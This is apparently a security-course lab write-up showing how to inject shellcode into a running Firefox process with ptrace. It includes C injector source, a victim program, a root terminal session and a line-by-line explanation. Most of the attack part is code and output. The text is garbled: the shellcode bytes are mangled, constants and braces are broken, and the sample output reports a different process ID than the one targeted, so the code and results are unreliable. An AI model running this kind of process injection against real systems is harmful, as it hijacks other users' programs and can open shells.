#### PROCESS CODE INJECTION

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#### AIM:

To do process code injection on Firefox using ptrace system call

## **ALGORITHM:**

- 1. Find out the pid of the running Firefox program.
- 2. Create the code injection file.
- 3. Get the pid of the Firefox from the command line arguments.
- 4. Allocate memory buffers for the shellcode.
- 5. Attach to the victim process with PTRACE ATTACH.
- 6. Get the register values of the attached process.
- 7. Use PTRACE POKETEXT to insert the shellcode.
- 8. Detach from the victim process using PTRACE DETACH

# **PROGRAM CODE:**

## **INJECTOR PROGRAM**

# include <stdio.h>//C standard input output

# include <stdlib.h>//C Standard General Utilities Library

# include <string.h>//C string lib header

# include <unistd.h>//standard symbolic constants and types

# include <sys/wait.h>//declarations for waiting

# include <sys/ptrace.h>//gives access to ptrace

functionality # include <sys/user.h>//gives ref to regs

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```
//The shellcode that calls /bin/sh
 char shellcode[]={
 \xspace{1mm} \xs
 };
//header for our program.
void header()
        printf("----Memory bytecode injector
                                                                                                                                               n";
 }
//main program notice we take command line options
int main(int argc,char**argv)
 {
        int i,size,pid=0;
        struct user regs struct reg;//struct that gives access to registers
                                                                 //note that this regs will be in x64 for me
                                                                  //unless your using 32bit then eip,eax,edx etc...
        char*buff
        header();
        //we get the command line options and assign them appropriately!
        pid=atoi(argv[1]);
        size=sizeof(shellcode);
        //allocate a char size memory
        buff=(char*)malloc(size);
        //fill the buff memory with 0s upto size
        memset(buff,0x0,size);
        //copy shellcode from source to destination
        memcpy(buff,shellcode,sizeof(shellcode));
```

```
//attach process of pid
  ptrace(PTRACE ATTACH,pid,0,0)
  //wait for child to change state
  wait((int*)0);
  //get process pid registers i.e Copy the process pid's general-purpose
  //or floating-point registers, respectively,
  //to the address reg in the tracer
  ptrace(PTRACE_GETREGS,pid,0,&reg);
  printf("Writing EIP 0x%x, process %d\n",reg.eip,pid);
  //Copy the word data to the address buff in the process's memory
  for(i=0;i\leq size;i++){
  ptrace(PTRACE POKETEXT,pid,reg.eip+i,*(int*)(buff+i));
}
  //detach from the process and free buff
  memory ptrace(PTRACE DETACH,pid,0,0);
  free(buff);
  return 0;
}
OUTPUT:
[root@localhost ~]# vi codeinjection.c
[root@localhost ~]# gcc codeinjection.c -o codeinject
[root@localhost ~]#ps -e|grep firefox
1433 ? 00:01:23 firefox [root@localhost ~]# ./codeinject 1433
----Memory bytecode injector----
Writing EIP 0x6, process 1707
[root@localhost ~]#
```

How to run the above code??

- 1) open firefox on linux terminal then inject the code. the initial program will crush but the shell will run.
- 2.) gcc -o injector injector.c
- 3.) get the pid of the victim process ps -e|grep firefox
- 4.) new terminal and start injector give the process id for the program "./injector 4567" where 4567 is the pid of the victim.
- 5.) kill -9 4567

#### **VICTIM PROGRAM**

```
#
include<stdio.h>
void main()
{
printf("Hi
there!\n"); getchar();
}
```

How to run the above code??

- 1.) gcc -o injector injector.c
- 2.) start process(any) for this example start "./victim"
- 3.) get the pid of the victim process ps -e|grep victimprocess
- 4.) new terminal and start injector give the process id for the victim program "./injector 4567" where 4567 is the pid of the victim.

#### PROGRAM EXPLANATION:

These lines are header inclusions. They bring in necessary functionalities from various C libraries:

- <stdio.h>: Provides standard input/output functions like printf.
- <stdlib.h>: Offers general utility functions like malloc for memory allocation.
- <string.h>: Contains string manipulation functions like memset and memcpy.
- <unistd.h>: Defines standard symbolic constants and types for the operating system.
- <sys/wait.h>: Provides declarations for waiting on child processes (using wait).
- <sys/ptrace.h>: Grants access to the ptrace functionality for process tracing.
- <sys/user.h>: Includes definitions for user-mode registers (struct user\_regs\_struct).

#### **Lines 8-11:**

This section defines a character array named shellcode. It contains machine code instructions (often encoded in hexadecimal) that, when executed, will typically launch a shell program like /bin/sh. The specific functionality of this shellcode would require further analysis.

#### Lines 13-19:

```
//header for our program.
void header()
{
    printf("----Memory bytecode injector \n");
}
```

This defines a function named header. It simply prints a message to the console using printf.

## LINE-BY-LINE EXPLANATION OF THE MAIN FUNCTION:

## 1. Function Signature:

```
int main(int argc, char** argv)
```

- int main: This declares the main function, the program's starting point.
- int argc: This is an integer argument that holds the number of command-line arguments passed to the program.
- char\*\* argv: This is a character pointer array that points to the individual command-line arguments themselves. (Think of it as an array of strings.)

#### 2. Variable Declarations:

```
int i, size, pid = 0;
struct user_regs_struct reg; // Struct for holding process
registers char* buff;
```

- int i, size: These are integer variables used for loop control and storing the shellcode size.
- int pid = 0: This integer variable will store the process ID (PID) of the target process. It's initialized to 0.
- struct user\_regs\_struct reg: This declares a variable reg of type struct user\_regs\_struct. This structure likely holds information about the process's registers (specific register names depend on architecture, e.g., eip for instruction pointer in x86).
- char\* buff: This declares a character pointer variable buff. It will be used to store the shellcode later.

# 3. Calling the Header Function:

header();

• This line calls the header function (defined earlier) that presumably prints a message to the console.

## 4. Processing Command-Line Arguments:

```
pid = atoi(argv[1]);
size = sizeof(shellcode);
```

- pid = atoi(argv[1]): This line assumes the program takes exactly one command-line argument, which is the PID of the target process. It uses atoi (convert ASCII to integer) to convert the string argument (argv[1]) to an integer and store it in the pid variable.
- size = sizeof(shellcode);: This line calculates the size of the shellcode array and stores it in the size variable.

# **5.** Allocating Memory and Copying Shellcode:

```
buff = (char*)malloc(size);
memset(buff, 0x0, size);
memcpy(buff, shellcode, sizeof(shellcode));
```

- buff = (char\*)malloc(size): This line allocates memory of size size (determined from the shellcode) on the heap and casts the returned pointer to a char\*. It stores this pointer in the buff variable. This memory will hold the shellcode.
- memset(buff, 0x0, size): This line fills the allocated memory in buff with zeros (represented by 0x0) for the entire size.
- memcpy(buff, shellcode, sizeof(shellcode)): This line copies the contents of the shellcode array (machine code instructions) into the memory pointed to by buff.

## 6. Attaching to the Target Process:

```
ptrace(PTRACE ATTACH, pid, 0, 0);
```

• This line uses the ptrace system call with the PTRACE\_ATTACH flag. This attaches the current process (the injector program) to the target process identified by the pid. The other arguments (0, 0) are typically unused in this context.

# 7. Waiting for Target Process:

wait((int\*)0);

• This line uses the wait system call (without arguments) to wait for the child process (the attached target process) to change state (e.g., stop execution).

# 8. Getting Target Process Registers:

ptrace(PTRACE\_GETREGS, pid, 0, &reg);
printf("Writing EIP 0x%x, process %d\n", reg.eip, pid);

• ptrace(PTRACE GETREGS, pid, 0, &reg):

This line uses the ptrace system call with the PTRACE\_GETREGS flag. It retrieves the registers of the target process (pid) and stores them in the reg structure.

• printf("Writing EIP 0x%x, process %d\n", reg.eip, pid):

This line prints a message indicating the current value of the instruction pointer (EIP) register from the retrieved registers and the target process ID.

## **RESULT:**

The program injects shellcode into a running firefox process using the ptrace systemcall attaching to the process, injecting the shellcode, and detaching it. Once the process resumes, the injected shellcode is executed, potentially swapping a shell or executing other commands